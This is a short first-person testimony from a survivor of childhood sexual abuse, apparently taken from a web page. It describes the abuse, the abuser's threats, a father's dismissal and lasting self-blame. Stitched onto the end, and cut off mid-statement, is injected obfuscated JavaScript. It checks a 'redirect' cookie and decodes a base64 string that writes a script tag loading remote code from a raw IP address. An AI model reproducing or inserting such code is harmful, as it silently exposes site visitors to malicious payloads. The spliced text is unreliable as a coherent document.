The abuse began when I was three years old by my “aunt’s” fourteen year old son. It continued until I was 7 and we moved away. He took me up to the 2nd floor of the dirty garage by telling me some random lie. If I cried while he was molesting or raping me he told me that he would push me out the window, I would die and no one would care. Once I attempted to tell my father of the abuse, but my plea fell on deaf ears furthering the claim that if I were to die no one would care. Being abused has made all of my relationships (romantic or otherwise) suffer, I simply refuse to let anyone in. The pedophile has recently been released from prison. I know that it is not entirely my fault that he wasn’t caught sooner, but I still blame myself for his victims that came after me. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘